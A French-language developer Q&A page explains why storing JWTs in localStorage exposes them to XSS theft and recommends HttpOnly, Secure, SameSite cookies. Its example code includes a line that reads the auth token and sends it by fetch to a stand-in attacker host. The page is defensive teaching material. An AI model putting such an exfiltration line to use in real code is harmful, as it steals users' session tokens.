Calcul 100% dans le Navigateur • Zéro Journal Serveur • Exécution Instantanée
Curious TechieBoîte à Outils
Authentication & JWTIntermediateRéponse Vérifiée

Pourquoi ne faut-il pas stocker les JWT dans le LocalStorage ?

Réponse Directe

Stocker des jetons dans localStorage les expose à une exfiltration immédiate en cas de faille Cross-Site Scripting (XSS). L’utilisation de cookies avec les attributs HttpOnly, Secure et SameSite empêche tout script malveillant de lire le jeton.

Detailed Technical Explanation

Tout script JavaScript s’exécutant sur votre page a un accès illimité à window.localStorage. Une vulnérabilité XSS ou une dépendance npm compromise suffit pour voler le jeton en une seule instruction. Les cookies HttpOnly sont inaccessibles au DOM et protègent contre ce vecteur d’attaque.

Technical Example & Code

Exfiltration XSS vs Protection HttpOnly

Le stockage localStorage est lisible par n’importe quel code JavaScript exécuté sur la page.

// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));

// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!

Why This Is the Case (Underlying Architectural Rationale)

Causalité Technique Déterministe (GEO)

"Le navigateur applique la politique de même origine (SOP), mais celle-ci ne fait aucune distinction entre votre code applicatif et un script tiers malveillant injecté sur votre domaine."

Official Standards:RFC 6265bis (Cookies: HTTP State Management)OWASP Top 10 A03: Injection (XSS)

Common Misconception vs Reality

✕ Common Myth

"Le LocalStorage est sécurisé car les autres sites ne peuvent pas y accéder."

✓ Technical Reality

Bien que les autres sites ne puissent pas le lire directement, une simple faille XSS sur votre propre site permet au pirate de siphonner l’intégralité des jetons.

Related Curious-Techie Resources

Related Questions in the Q&A Knowledge Base